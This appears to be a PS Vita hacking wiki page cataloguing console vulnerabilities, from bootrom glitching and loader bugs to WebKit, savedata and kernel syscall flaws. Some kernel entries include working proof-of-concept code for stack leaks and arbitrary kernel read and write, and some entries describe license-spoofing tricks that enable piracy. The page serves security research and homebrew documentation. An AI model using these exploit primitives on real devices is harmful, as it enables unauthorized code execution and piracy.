Through [[Glitching]], we can inject a fault in either the decoding or execution units of the processor and trigger one of these exceptions. By writing a fake [[SLSK]] file that actually masquerades as a cmep exception handler table that all points to our payload, we can execute cmep code at bootrom time (before bootrom is unmapped). This is a very desirable glitching target because it almost requires no precision (any instruction anywhere can be "corrupted" into something that triggers an exception) and allows for "spray and pray" style of glitch attacks. In practice, Team Molecule found this target to have an insanely high success rate. | |||
In First Loader there are two [[SLSK]] load paths. The first one is used at initial boot to read [[Second Loader]] .enp file from the [[eMMC]] or [[SLSK#Secret_debug_mode|SD Card]]. In this first path, the minimum payload size is 0x200 bytes because at most one eMMC block must be read. The second path is used in early boot to read the [[Secure Kernel]] .enp or .enp_ file which is loaded from the [[SLB2]] partition by ARM [[TrustZone]] to volatile memory. This second path is more difficult to reach because it requires a handshake between [[CMeP]] ("you are allowed to reset me") and ARM [[TrustZone]] ("I am going to reset cmep"). However, as long as both cmep and ARM TZ are pwned post-boot, the second path can be triggered. | |||
The advantage of the first path is that it is easier and faster to trigger (always hits on first boot). The disadvantages are that it corrupts the first 0x200 bytes of cmep memory (which we might want to dump) and that it requires "bricking" the device if running from [[eMMC]] (because [[Second Loader]] is replaced by the payload). Note that with a proper hardware flasher and a backup beforehand, it is possible to unbrick a corrupted second loader. | |||
The advantage of the second path is that it does not require a hardware flasher and that it only corrupts 0x40 bytes of cmep memory. The disadvantage is that it requires more work to trigger (code execution both in ARM TZ and cmep) and it takes longer to trigger (since you have to boot the system to a point where you can pwn both cmep and ARM TZ). | |||
* See yifan lu's academic paper about [https://arxiv.org/pdf/1903.08102.pdf Injecting Software Vulnerabilities with Voltage Glitching]. | |||
* See [https://teammolecule.github.io/35c3-slides/ yifan lu's slides from his presentation at 35c3]. | |||
* See [https://yifan.lu/2019/08/16/glitching-a-20k-piece-of-history/ yifan lu's writeup about glitching a DEM-3000H]. | |||
==== First Loader SLSK buffer overflow ==== | |||
(2019-08-30) In some development prototype PS Vita, the boot ROM does not check the [[SLSK]] header correctly. Specifically, the body_size field (at [[SLSK]] offset 0x10) is only checked after adding it to "offset_to_code". The calculation can overflow, for example, when <code>body_size == -offset_to_code</code>. Further, when loading a [[SLSK]] binary from ARM, the size to copy in is calculated with <code>(scratch->body_size + scratch->offset_to_code) - 0x40</code>. In the case that the sum of body_size and offset_to_code is 0, this calculation would underflow to -0x40, or 0xffffffc0, resulting in a huge amount of data being copied in and overwriting parts of the boot ROM. | |||
This software vulnerability is far more convenient than the glitch ones as it does not require hardware nor risks bricking, but only works on some old prototype PS Vita models. To avoid the need of a hardware flasher, it is needed to avoid overwriting any SLSK in the <code>sloader</code> partition but instead to use ARM TrustZone and CMeP exploits to load a custom Secure Kernel SLSK to volatile memory, do the handshake then trigger a reset. | |||
The exploitation steps are similar to the ones of the third software vulnerability triggered by glitch: | |||
# Boot the PS Vita up normally using the Ensō exploit to get ARM [[NSKBL]] code execution (though ARM non-secure kernel would be sufficient). | |||
# Privilege escalate to ARM TrustZone using a separate exploit. | |||
# Get code execution in CMeP (Second Loader, Secure Kernel or a Secure Module) with yet another exploit. | |||
# Perform the reset handshake between CMeP Secure Kernel and ARM TrustZone. | |||
# Load the exception vector payload and Secure Kernel SLSK with exploit body_size in header, using ARM TrustZone. | |||
# After some time, the overflow happens and causes an exception in CMeP, which runs the payload. | |||
* See the implementation of the First Loader SLSK buffer overflow by SKGleba and Proxima in the [https://github.com/SKGleba/broombroom broombroom repository]. | |||
Confirmed present in PS Vita units with Product Sub Code 0xD and older. Fixed in PS Vita units with Product Sub Code 0xF and newer. | |||
== [[Second Loader]] == | |||
=== moth exploit === | |||
(2019-02-05) second_loader does not check idstorage minimum firmware version padding after decryption. In order to verify the minimum firmware version number, the binary blob from idstorage is decrypted using a console-specific key, verified using RSA, then decrypted again using a different console-specific key. At no point does it check that the padding of the final decryption is valid. This lets us transplant the block from one console to another by decrypting the outer layer on the donor console and encrypting it on the target. As the second key is different on the target console, after the final decryption we end up with random garbage. However, because the version number is a 4-byte integer, with a probability of 1/256 the major byte of the version would be 00, resulting in a minimum firmware of "0.garbage". This effectively lets us bypass the minimum firmware check implemented in second_loader and downgrade below the minimum firmware, provided that enough samples of the signed blob are collected. | |||
Warning: second_loader sets SNVS handshake key partials by encrypting some hardcoded data with a per-console key; but it uses different data (and non-encrypted) if the minimum firmware version is lower than 0x996000 which, on release units, may lead to secure world not being able to read SNVS. | |||
=== Dummy key used for release SLSK encryption === | |||
[[SLSK]] files were encrypted with an easily bruteforceable key. | |||
Fixed in FW 3.70 by changing the [[SLSK]] key. But that fix cannot undo the result: most files in type 2 and type 3 [[PUP]]s are decryptable with keys except 3.70+ [[SLSK]] files. Yet 3.70+ [[SLSK]] keys can be retrieved using glitching (see [[#First Loader]]). | |||
== [[Secure Block]] == | |||
=== [[Secure Kernel]] === | |||
==== octopus exploit ==== | |||
(2017-02-18) secure_kernel module loading does not check source address and therefore provides an oracle allowing for memory dump. See https://teammolecule.github.io/35c3-slides/ | |||
Fixed in FW 1.80. | |||
=== [[Secure Modules]] === | |||
==== AES CTR IV reused in some Certified Files ==== | |||
Discovered before 2014-08-16 by anonymous. | |||
Sometimes SCE reused the same AES CTR keys and IVs in different [[Certified File|Certified Files]]. | |||
This allowed decrypting some SPKGs (extracted from [[PUP]]) and SELFs (e.g. applier_sm.self, kernel_boot_loader.self) if plaintext and encrypted blocks of another version of that Certified File were known. | |||
See also [http://crypto.stackexchange.com/questions/14628/why-do-we-use-xts-over-ctr-for-disk-encryption]. | |||
Present in FW 0.945. | |||
Fixed since at least FW 0.996 as all [[Certified File|Certified Files]] started having always different IVs. | |||
=== [[update_service_sm]] === | |||
==== Heap buffer overflow in update_service_sm ==== | |||
(2017-02-23) A heap buffer overflow exists in update_service_sm.<ref>https://yifan.lu/2019/01/11/the-first-f00d-exploit/</ref> | |||
=== [[kprx_auth_sm]] === | |||
==== Packed exploit ==== | |||
(2020-11-16 by PrincessOfSleeping) kprx_auth_sm verifies SELF header with RSA signature when loading module, but in FW 0.995.070 or lower there is a problem with the location of the RSA signature. | |||
The hash included in the RSA signature is sha256 from the beginning of the header to the position of the RSA signature. | |||
On FW 0.995.070 or lower, there is an unused zero filled area after RSA signature, but that part is not hash verified. So any data can be re-encrypted and packed in the zero filled area that follows the RSA signature. However, the size of this area is fixed and small, and there is no reason that it gets executed without an additional vulnerability. | |||
As a counter-example, on FW 3.60, the SELF header size is 0x1000 bytes, the RSA signature offset is 0xF00 bytes, and the RSA signature size is 0x100 bytes, so there is no unused zero filled area. | |||
Fixed in FW 0.996.070. | |||
== References == | == References == | ||
<references/> | <references/> | ||
[[Category: | |||
[[Category:Vulnerabilities]] |
Latest revision as of 04:34, 10 November 2024
Usermode
WebKit exploits
WebKit exploits in the Email application
Implemented by xyz, in order HENkaku to be launched offline.
In FW 2.00, Email has been added as an application. However it does not support HTML pages. Since FW 2.10, the Email application now allow users to view HTML messages. As a consequence, since FW 2.10 JavaScript is also supported by the Email app.
See xyz's writeup.
Not supported in FW 2.060.011 and earlier. Not fixed as of FW 3.740.011.
WebKit 531.22.8 (PS Vita FW <= 1.81) (CVE-2010-4577 and CVE-2010-1807)
There are two exploits used for WebKit prior to FW 2.00. One is a data leakage exploit CVE-2010-4577 [1] using type confusion to treat a double as a string memory address and length. The other is a type confusion exploit CVE-2010-1807 on the parseFloat() function using a Nan as the arg. [2]
WebKit 536.26 (PS Vita FW 2.00-3.20) (CVE-2012-3748) (PSA 2013-09-03-1)
Ported to PS Vita by many many people. Fixed in FW 3.30.
The heap memory buffer overflow vulnerability exists within the WebKit's JavaScriptCore JSArray::sort(...) method. This method accepts the user-defined JavaScript function and calls it from the native code to compare array items. If this compare function reduces array length, then the trailing array items will be written outside the "m_storage->m_vector[]" buffer, which leads to the heap memory corruption.
Packet Storm Exploit 2013-0903-1 - Apple Safari Heap Buffer Overflow
WebKit 537.73 (as used in PS Vita FW 3.30-3.36) (CVE-2014-1303)
Ported to PS Vita by xyz. Fixed in FW 3.50.
The CSSSelectorList can be mutated after it's allocated. If the mutated list contains less entries than the original one, a restrictive 1-bit OOB write can be achieved. [3] [4] [5]
WebKit 537.73 (as used in PS Vita FW 3.30-3.60) (JSArray::sortCompactedVector)
Discovered in 2015 by xyz. Implemented in HENkaku by Team Molecule. Fixed in FW 3.61 (see how it was fixed).
The JSArray::sort method has a heap use-after-free vulnerability. If an array containing an object with a custom toString method is sorted, and the toString method causes the array to be reallocated, then the sorted elements will be written to the old freed address.
xyz's writeup about 3.60 WebKit exploit
xyz's writeup about ROP in webbrowser
3.60 WebKit exploit source code by xyz
3.60 WebKit exploit commented code by St4rk
WebKit 537.73 (as used in PS Vita FW 3.30-3.74)
Ported from PS4 to PS Vita by TheFloW in henlo.
See also [1].
To be detailed.
Working in FWs 3.30-3.740.011. Not fixed yet.
PSM (PlayStation Mobile) exploits
PSM apps for PS Vita were removed from the PS Store in 2015. Nevetheless, a set of tricks allow to install and use PSM on any PS Vita running FW <= 3.51.
PSM apps cannot work in FWs >=3.52 because they are blacklisted in PS Vita OS (at cmep level). This can be bypassed only with a kernel exploit and ref00d/0syscall6 plugin.
PSM Dev For Unity can be installed without the PS Store
PSM Dev For Unity is packed into a DRM-free .pkg. It can so be installed using PKG Installer, or BGDL .pkg trick. It is not patchable.
PSM+
PSM developer license can be spoofed using filesystem write access and signed with keys.
PSM Dev for Unity trusts Local Time
PSM Dev for Unity trusts the system time set by the user when it checks Developer License expiration. Indeed, it uses sceRtcGetCurrentTick but not the secure RTC (sceRtcGetCurrentSecureTick). So if you have a valid PSM Publisher license, you can just set your system time back to when it was valid.
PSM Mono privilege escalation
See writeup by yifan lu.
PSM Retail game executables not signed if under 0x10000 bytes
Only thing to verify that a PSM Executable is legitimate is a MD5 hash, and a signature included in every 0x10 encrypted blocks. If the file has less than 0x10 blocks, then the signature is never included. So, you should be able to encrypt your own PSM executable with the same key, and run it even on the newest PS Vita System Software. However as PSM Store server shut down, and PSM Activation service shut down too, it is impossible to actually get a license + activation for any game unless you had one already, so this vulnerability is not that useful. Nevertheless, by changing ConsoleId and/or OpenPsId, using the AES CTR exploit, it is possible to use PSM content license and PSM console activation from a donor console.
PSM Unity privilege escalation
UnityEngine.dll is a trusted assembly (SecurityCritical). It is not signed so it can be modified. However, the actual file at ux0:app/PCSI00009/managed/UnityEngine.dll
is PFS signed and encrypted. Luckily, in FWs <= 3.61 you should be able to use the ux0:patch/ trick to inject a modified UnityEngine.dll.
PSM NetworkRequest privilege escalation
NetworkRequest.BeginGetResponse(AsyncCallback callback) invokes callback with SecurityCritical
allowing for a privilege escalation. Unfortunately, Sony closed down the scoreboards feature [6] which means that Network.AuthGetTicket() fails and Network.CreateRequest() cannot be invoked. There is no other way of creating a NetworkRequest object.
using System; using System.Security; using System.Runtime.InteropServices; using Sce.PlayStation.Core.Services; namespace NetHax { public class AppMain { [SecurityCritical] public static void Escalate (IAsyncResult result) { Console.WriteLine("Should be SecurityCritical"); IntPtr ptr = Marshal.AllocHGlobal(1000); Console.WriteLine("Look at me allocating memory: 0x{0:X}", ptr); } public static void Main (string[] args) { Network.Initialize("af1c0a1b-a7b8-4597-a022-eee91e6735d1"); Network.AuthGetTicket(); NetworkRequest req = Network.CreateRequest(NetworkRequestType.Get, "", ""); IAsyncResult result = req.BeginGetResponse(new AsyncCallback(Escalate)); while (!result.IsCompleted) { Console.WriteLine("waiting..."); } Console.WriteLine("Completed!"); } } }
SecurityCritical whitelist failure
SecurityCritical whitelist checks assembly filename ONLY and nothing else. Simply create a dll file called "Sce.PlayStation.Core.dll" or "mscorlib.dll" and it will get SecurityCritical permission in PSM Runtime.
- This has been only tested in Windows PSM Runtime
psm.exe
.
Game savedata exploits
Discovered in 2015 by TheFlow. Released on 2018-06-29.
This sort of exploit works in theory on any firmware (not patchable, or hardly).
Savedata exploits versus WebKit exploits
h-encore uses a different entry point than its predecessor HENkaku. Instead of a WebKit exploit, it is using a gamesave exploit. The reason for that is after firmware 3.30 or so, Sony introduced sceKernelInhibitLoadingModule() in their browser, which prevented us from loading additional sysmodules. This limitation is crucial, since this was the only way we could get more syscalls (than the browser uses), as they are randomized at boot and only assigned to syscall slots if any user module imports them. h-encore needs to load SceNgsUser, a sysmodule vulnerable to kexploits.
Old games do not have ASLR
The reason why a gamesave exploit is possible on such a system is because games that were developed with an SDK 2.60 and lower were compiled as a statically linked executable, thus their loading address is always the same, namely 0x81000000, and they cannot be relocated to an other region. They also do not have stack protection enabled by default, which means that if we can stack smash in such a game, we can happily do ROP.
Fixed in games developed with SDK 2.60 and newer SDKs.
Method for finding a savedata bug
Looking for gamesave exploits is a boring process: you just fuzz games savedata by writing random stuff at random locations until you get a crash. The best bet is extending strings and hope that you can smash the stack.
Bittersmile game buffer overflow (h-encore)
Bittersmile game found exploitable on 2018-02-17 by Freakler. Implemented in h-encore by TheFloW.
The bug relies on the parser of the bittersmile game. The gamesave is actually a text file and the game reads it line by line and copies them to a list of buffers. However it does not validate the length, thus if we put the delimiter '\n' far away such that the line is longer than the buffer can hold, we get a classic buffer overflow. If this buffer is on stack, we can make it overwrite the return address and straightly execute our ROP chain. However it is on the data section, but luckily for us, the content after the buffer is actually the list that contained destinations for other lines. This means that if we overflow into the list and redirect the buffer, we can copy the next line to wherever we want and therefore enable us an arbitrary write primitive.
Not patchable. Bittersmile game requires minimal FW ?2.50? to run.
Youtube Stack Pointer control vulnerability
There was a vulnerability in the Youtube application that could allow to manipulate the stack pointer (SP).
But this vulnerability is not interesting because Sony removed the YouTube app from the PS Store, it is not DRM Free and it cannot be exploited easily.
PSP Emulator escape
See Trinity writeup by TheFloW.
Why hack the PSP Emulator? Why not WebKit/games?
The PSP Emulator runs at system privileges which are equivalent to root. By gaining control over the emulator, we are exposed to almost ALL syscalls, unlike the WebKit process that is sandboxed. Similarly, the previous jailbreak h-encore exploited a gamesave vulnerability such that it could invoke the NGS syscalls.
Buffer overflow in ScePspemuRemoteNet-KERMIT_CMD_ADHOC_CREATE
Discovered on 2018-05-26 by TheFloW. Implemented in Trinity by TheFloW.
Fixed in FW 3.71.
CSC does not sanitize check the row number (arbitrary usermode memory read)
Discovered on 2018-06-04 by TheFloW. Implemented in Trinity by TheFloW.
Fixed in FW 3.71.
System
ux0:patch and grw0:patch files do not need to be PFS encrypted
Discovered in 2015 by mr.gas and exploited by Silica in 2016.
This can lead to piracy of certain digital games that have a trial version. This piracy method is similar to the CFW2OFW method on PS3.
See [2].
Fixed in FW 3.63.
PS Vita can use PSP/PS3 PS Store activation licenses
Discovered by CelesteBlue in 2015 and exploited in 2016.
PS Vita can use .rif downloaded from PS Vita, PSP, or PS3. Implemented in ReStore by CelesteBlue. Note that since 2022-05-10, connection to PSN requires a device password instead of the usual account password. This renders .rif download as a PS3 harder because the device password must be asked on Playstation Network website for the PS3, not for the PS Vita. So the full PS3 PSN sign-in must be simulated and a device with a web browser is required to access the Sony Entertainment Network website.
PS Vita can use PSP or PS3 act.dat if we spoof ConsoleId (idps) and OpenPSID. Implemented in ReNpDrm by CelesteBlue.
This shows that no matters how secure PS Vita's Store is, til PS3 Store is online, PS Vita Store contents can be activated for use on PS Vita.
PS Store Activation server does not check challenge anymore
Discovered by many PS Vita users in May 2018.
Since May 2018, the challenge string in requests sent from PS Vita to PSN for Content and PSN Account activations is not checked anymore server-side.
This means that to activate a PS Vita or its PS Store contents, it suffices to spoof System Software version for bypassing the System Software update request popup, and to spoof a recent SEN passphrase in SceShell. Both spoofs are done by taiHEN (in henkaku.suprx). This also means that ReStore and ReNpDrm are not needed anymore.
Kernel
Syscall handler treats syscall ID as a signed integer
Discovered on 2022-08-28 by CreepNT.
In earliest System Software versions, the syscall handler in SceKernelIntrMgr treats the syscall ID passed in r12
as a signed integer. Note that this is a separate vulnerability from the unchecked syscall ID one.
The handler also has a special code path for "fast syscalls":
static int (*GLOBAL_FAST_SYSCALL_TABLE[0x100])(); // array of 0x100 function pointers if (r12 < 0x100) return GLOBAL_FAST_SYSCALL_TABLE[r12]();
This code may look safe, but due to r12
's signedness, it will also be executed if r12
is negative (as any negative number is also inferior to 0x100) - thus a pointer from an arbitrary address before the global table can be dereferenced and executed.
In System Software versions affected by this bug, the available range for the unchecked syscall ID vulnerability is thus halved since all values between 2^31
and (2^32)-1
are treated as negative and fall in the fast syscall path instead of the regular path. Because both cases lack bounds checks, however, this can largely be ignored.
Present since FW 0.931.010.
Fixed in FW 0.990 by treating syscall ID as an unsigned integer instead of a signed integer.
Unlimited stack pointer (SP) control in SceAppMgr
Discovered on 2022-03-07 by Princess of Sleeping.
In FW 0.990, in some SceAppMgr syscalls like SceAppMgr#_sceAppMgrGetBootParam, SP can be controlled with the value passed from usermode as the function does not sufficiently check the validity of the argument.
By exploiting this vulnerability, it may be possible to write data to any kernel address. As the length of data to be copied is proportional to the control size of SP, it is not possible to copy larger data.
It seems fixed since FW 0.996.
Arbitrary kernel execution due to SceDeci4pDbgpForDriver export to usermode
Discovered on 2022-01-13 by CreepNT.
Between FW 0.931.010 and FW 1.000.071 (excluded), the SceDeci4pDbgpForDriver library is exported to usermode (library has attribute SYSCALL_EXPORT
).
However, as the ForDriver
suffix in the library's name indicates, it should only be exported to kernel. Since FW 0.990, the sceDbgpSetDTraceBreakpointHandlerForDriver function is provided by this library, and can thus be called from usermode.
By installing a custom breakpoint handler with this function, then triggering a DTrace breakpoint (bkpt #0x90
), an arbitrary function might be able to be executed with Kernel privileges (either that, or kernel will panic).
Because the SceDeci4pDbgp module is only present in TOOL firmware, this vulnerability only works on DevKit.
On DevKit, usermode code execution is allowed in fSELF, so this exploit should be easily testable if one gets a hand on a DevKit on a FW between 0.990 and 1.000.071.
Fixed in FW 1.000.071 by not exporting library to usermode.
Syscall handler does not check syscall ID
Discovered on 2015-07-03 by Team Molecule.
The syscall handler in SceKernelIntrMgr finds the function to execute for a given syscall ID with a simple pFunc = gpSyscallTable[r12];
. However, the value in r12
is never checked to be in the bounds of the syscall table. A large syscall ID passed in r12
will cause the function pointer to be read past the syscall table, leading to an arbitrary kernel function pointer being dereferenced then executed.
Present since FW 0.931.010. Tested in FW 1.50-1.60.
Fixed in FW 1.61 by ensuring that syscall ID is valid. This consists in addition of the condition (r12 < 0x100) && ((r12 - 0x100) < 0xF00)
. Note that the first 0x100 syscalls are handled differently.
Syscall handler leaks syscall table virtual address
Discovered on 2019-08-01 by Princess of Sleeping.
Calling SVC with an invalid syscall ID will make SceKernelIntrMgr end the SVC interrupt without clearing syscall table virtual address in r0. This leads to knowledge of the syscall table virtual address, from which SceKernelIntrMgr data segment address can be derived.
This can be used to ease a bit address resolving in the #Syscall handler does not check syscall ID vulnerability, although a partial kernel memory dump of the kernel function to call remains necessary.
Fixed in FW 1.61 by ensuring that syscall ID is valid. This consists in addition of the condition (r12 < 0x100) && ((r12 - 0x100) < 0xF00)
. Note that the first 0x100 syscalls are handled differently. As the syscall table is always filled, thanks to placeholders, this cannot be exploited anymore.
Fixed totally in FW 1.66 by replacement of the "syscall trap branch" if (syscall_table[r12] == NULL)
with bkpt #0
.
Kernel stack buffer overflow in sceSblDmac5EncDec
Discovered on 2014-09-16 by Team Molecule. Implemented in xyz's 1.61 exploit chain in 2016, then in CelesteBlue's QuickHEN_PSVITA.
SceSblDmac5Mgr_sceSblDmac5EncDec
This function: reads in 0x18 bytes from first arg processes a little then: ROM:005F711A MOV R1, R11 ROM:005F711C ADD R0, SP, #0x88+var_70 ROM:005F711E MOV.W R2, R10,LSR#3 ROM:005F7122 BLX sceKernelCopyFromUserForDriver R10 comes from original read in buffer+0x10
Tested in FW 1.61. Fixed in FW 1.80. Moreover, an sceSblACIsSystemProgram check was added, preventing exploitation from non-system usermode code execution.
Kernel stack leak in sceIoDevctl
Discovered on 2014-11-24 by Team Molecule Team. Implemented in HENkaku by Team Molecule.
Tested successfully on firmware 0.995 in fSELF. Since at least firmware 1.030, it works only via WebKit (not fSELF nor games but maybe ePSP or PSM) exploits.
Some kernel stack data are leaked to usermode by SceIofilemgr#sceIoDevctl because of a missing memory cleaning.
Call some functions that interest you in a kernel context i.e. syscalls, for example SceLibKernel#sceIoOpen, to fill the kernel stack with this function's work data. Then call SceLibKernel#sceIoDevctl to get up to 0x3FF bytes of that kernel stack.
// make a buffer, tagged with '0x66' bytes char outbuf[0x400]; memset(outbuf, 0x66, 0x400); sceIoOpen("molecule0:", 0, 0); // populate kernel stack // kernel stack leak to outbuf sceIoDevctl("sdstor0:", 5, "xmc-lp-ign-userext", 0x14, &outbuf, 0x3FF); // check if our data were actually written to outbuf hex_dump("kstack", (unsigned char*) outbuf, 0x400);
Since FW 3.61, a memset was added in _sceIoDevctl's subroutine:
memset(local_buf, 0xFF, buflen);
Fixed in FW 3.61.
Heap use-after-free in sceNetSyscallIoctl
Discovered on 2016-04-05 by Team Molecule. Implemented in HENkaku by Team Molecule.
See xyz's writeup.
sceNetSyscallIoctl is declared as int sceNetSyscallIoctl(int s, unsigned flags, void *umem)
. When memsz = (flags_ >> 16) & 0x1FFF
is in range (0x80; 0x1000], it will use SceNetPs custom malloc to allocate a buffer of that size on the heap.
However, the second argument to malloc is 0, meaning that when not enough memory is available instead of returning NULL, it unlocks the global SceNetPs mutex and waits on a semaphore.
Then, while malloc is waiting, another thread can free the socket sceNetSyscallIoctl is operating on, causing a use-after-free condition.
When passed proper arguments, sceNetSyscallIoctl will execute a function from the socket's virtual table at the end:
v13 = (*(int (__fastcall **)(int, signed int, unsigned int, char *))(*(_DWORD *)(socket + 24) + 28))( socket, 11, flags_, mem_);
Fixed in FW 3.63. See how it was fixed.
3 kernel exploits on DevKit by TheFloW
Fixed in FW 3.68 or in FWs just before. These functions cannot be called because they are not imported into system or released games.
Kernel stack leak in sceMotionDevGetEvaInfo
This can be used to defeat kernel ASLR on DevKit in FW < 3.68.
But, this vulnerability may not be available depending on the model.
Click here for detailed code of exploit.
uint32_t info[0x12]; int leak_kstack_addr_motiondev() { uint32_t ret; // 1) Call a function (syscall) that writes sp to kernel stack ret = sceAppMgrLoadExec(NULL, NULL, NULL); // 2) Leak kernel stack ret = sceMotionDevGetEvaInfo(&info); if (ret < 0) printf("sceMotionDevGetEvaInfo returned: 0x%08X\n"); // 3) Get kernel stack address return info[3] & 0xFFFFF000; } int leak_sysmem_addr_motiondev() { uint32_t ret; // 1) Call a function (syscall) that writes sp to kernel stack ret = sceAppMgrLoadExec(NULL, NULL, NULL); // 2) Leak kernel stack to info buffer ret = sceMotionDevGetEvaInfo(&info); if (ret < 0) printf("sceMotionDevGetEvaInfo returned: 0x%08X\n"); // 3) Get SceSysmem kernel module text segment base address return (info[0] - 0x27000) & 0xFFFF0000; // SceSysmem base address resolving for any FW, method found by CelesteBlue }
sceNgsVoiceDefinitionGetPresetInternal insufficient checks (arbitrary kernel read)
sceNgsVoiceDefinitionGetPresetInternal does a memcpy from kernel to usermode and does not do sufficient checks to prevent out of bounds arbitrary kernel read.
FW 0.990.030 pseudo-C:
SceUInt32 sceNgsVoiceDefinitionGetPresetInternal(SceNgsVoiceDefinition *pVoiceDefn, SceUInt32 uPresetIndex, SceNgsVoicePreset *pVoicePreset) { SceUInt32 is_kernel_addr; SceUInt32 ret; SceUInt32 uVar1; SceInt32 syscall_state; ENTER_SYSCALL(syscall_state); is_kernel_addr = is_kernel_addr(); if ((pVoicePreset == (SceNgsVoicePreset *)0x0) || (pVoiceDefn != (SceNgsVoiceDefinition *)0x0) || (is_valid_vaddr(pVoicePreset, 4, is_kernel_addr) == 0)) ret = SCE_NGS_ERROR_INVALID_PARAM; else { if (uPresetIndex < (SceUInt32)pVoiceDefn->uNumVoicePresets) { copyout(pVoicePreset, (void *)((SceInt32)&pVoiceDefn->uMagic + uPresetIndex * 0x18 + pVoiceDefn->nVoicePresetsOffset), 4, is_kernel_addr); ret = 0; } else ret = SCE_NGS_ERROR_PARAM_OUT_OF_RANGE; } EXIT_SYSCALL(syscall_state); return ret; }
See original full exploit code by TheFloW here.
Also reimplemented by CelesteBlue here.
And detailed code by CelesteBlue:
// Read 4 bytes from kernel memory to usermode int kernel_read_ngs_word(void *dst, const void *src) { // 0) Get kernel stack address void *kstack_addr = leak_kstack_addr(); // 1) Setup exploit data SceUInt32 KSTACK_DEVCTL_OFFSET = 0xAF0; // 0xF20 for 1.50-1.61, 0xB20 for 1.692, 0xAF0 for 3.55-3.68 #define VOICEDEF_PRESET_LIST_OFFSET_OFFSET 0x30 SceNgsVoiceDefinition *pVoiceDefn = kstack_addr + KSTACK_DEVCTL_OFFSET; // pVoiceDefn is a kernel pointer const SceUInt32 uPresetIndex = 0; // the simplest, 0 is nice because it simplifies multiplications SceNgsVoicePreset *pVoicePreset = dst; SceNgsVoiceDefinition voiceDefn; // Set voiceDefn.nVoicePresetsOffset to read out of bounds: // src = (void *)((SceInt32)pVoiceDefn + uPresetIndex * 0x18 + *(SceInt32 *)pVoiceDefn->nVoicePresetsOffset) // src = (void *)((SceInt32)pVoiceDefn + *(SceInt32 *)pVoiceDefn->nVoicePresetsOffset) (by taking uPresetIndex = 0) // src = kstack_addr + KSTACK_DEVCTL_OFFSET + *(SceInt32 *)pVoiceDefn->nVoicePresetsOffset // *(SceInt32 *)pVoiceDefn->nVoicePresetsOffset = src - (kstack_addr + KSTACK_DEVCTL_OFFSET) voiceDefn.nVoicePresetsOffset = (SceUInt32)src - (SceUInt32)pVoiceDefn; // Set voiceDefn.uNumVoicePresets to 0xFFFFFFFF because uPresetIndex = 0 so we must have (uPresetIndex < (SceUInt32)pVoiceDefn->uNumVoicePresets) voiceDefn.uNumVoicePresets = 0xFFFFFFFF; // 1) Write exploit data into kernel stack sceIoDevctl("", 0, &voiceDefn, sizeof(SceNgsVoiceDefinition), NULL, 0); // 2) Call vulnerable function // Trigger sceKernelCopyToUserForDriver(pVoicePreset, // (void *)((SceInt32)&pVoiceDefn->uMagic + uPresetIndex * 0x18 + pVoiceDefn->nVoicePresetsOffset), 4); return sceNgsVoiceDefinitionGetPresetInternal(pVoiceDefn, uPresetIndex, pVoicePreset); } void kernel_read_ngs(void *dst, const void *src, SceUInt32 len) { for (SceUInt32 i = 0; i < size; i += 4) kernel_read_ngs_word(dst + i, src + i); }
Fixed in FW 3.68. Function was replaced by a dummy return 0;
.
sceKernelGetMutexInfo_089 can write into kernel memory
sceKernelGetMutexInfo_089 should have been exported only as a kernel function, but Sony mistakenly exported it as a usermode function.
The vulnerability is a restricted kernel write from usermode, because it executes a memcpy with controlled destination, where destination must not necessarily be in usermode.
The copied data cannot be totally controlled because it must follow SceKernelMutexInfo structure. Maximum copied size in one call is 0x40 bytes.
// usermode export int sceKernelGetMutexInfo_089(SceUID mutexid, SceKernelMutexInfo *pInfo) { int res; SceUID kernel_mutexid; void *a_ptr; kernel_mutexid = scePUIDtoGUIDForDriver(0, mutexid); if (kernel_mutexid < 0) return 0xC0028141; res = sceKernelGetMutexInfo_089ForDriver(kernel_mutexid, pInfo); if (res < 0) return res; pInfo->mutexId = mutexid; res = scePUIDGetAttrForKernel(0, mutexid, &a_ptr); if (res < 0) return res; a4 = *(uint32_t *)(a_ptr) << 0xC; FLAGS = a4; if (N == 0) // signed > 0 goto loc_8102D744; *(uint32_t *)((int)pInfo + 0x28) |= 0x80000; loc_8102D744: return res; } // kernel export int sceKernelGetMutexInfo_089ForDriver(SceUID mutexid, SceKernelMutexInfo *pInfo) { int state; int res; void *a_ptr; SceKernelMutexInfo mutex_info; ENTER_SYSCALL(state); if (pInfo == NULL) { res = 0x80020006; goto loc_8100E862; } if ((uint32_t)(pInfo->size) > 0x40) { res = 0x8002000B; goto loc_8100E862; } res = sub_8100D344_get_mutex_info_by_id(mutexid, &mutex_info); if (res < 0) goto loc_8100E862; asm("mrc p15, #0, r3, c13, c0, #3\n"); a4 = a4 << 0xF; FLAGS = a4; if (N == 0) // signed > 0 goto loc_8100E852; if (mutex_info.currentOwnerId != 0) { res = sceGUIDGetObjectForDriver(mutexid, &a_ptr); if (res < 0) goto loc_8100E862; mutex_info.currentOwnerId = *(uint32_t *)(*(uint32_t *)(a_ptr) + 0xC0); } loc_8100E852: memcpy(pInfo, &mutex_info, ((uint32_t)(pInfo->size) >= 0x40) ? 0x40 : pInfo->size); // Kernel write here loc_8100E862: EXIT_SYSCALL(state); return res; }
The exploit was fixed in FW 3.68:
// usermode export int sceKernelGetMutexInfo_089() { return 0x80028141; // SCE_KERNEL_ERROR_UNKNOWN_MUTEX_ID }
PoC:
sceKernelGetMutexInfo_089(some_mutex_uid, (SceKernelMutexInfo *)0x18E2540); /* Kernel memory dump after exploit: 0x018E2540 : 25 00 00 00 00 FF 00 00 01 00 00 00 05 00 01 00 0x018E2550 : FF FF FF FF 2D 91 07 00 55 55 00 00 3B 57 A2 00 0x018E2560 : 00 00 02 00 78 56 34 12 00 09 00 00 FF FF FF FE */
In this PoC, 0x25 bytes at kernel virtual address 0x18E2540 are overwritten with a mutex info structure.
SceNgs design flaws (h-encore)
Discovered on 2018-02-04 by TheFloW and successfully exploited four days later. Released on 2018-06-29 in h-encore by TheFloW.
Should be exploitable at least in FW 3.00 and up to FW 3.68. Fixed in FW 3.69.
h-encore is a kernel exploit that uses memory page underflow to write outside the low address boundary.
0x1123000 : [kernel stack] <- for exploit thread one 0x1124000 : [SceNgsBlock ] + DefPreset - off 0x40 - len 0xFFFFFF00 - off 0x80 - len 0x4 to 0x1124000 + 0xFFFFFF00 = 0x1123F00 <- The second preset copy is from this address
Some functions in SceNgs take a kernel pointer (xor'ed with a known static value) from usermode.
This can be used to partially defeat kernel ASLR and also as an out-of-bounds exploit to get kernel execution.
Writeup and source code.
Kernel stack address leak using sceNgsRackGetRequiredMemorySize
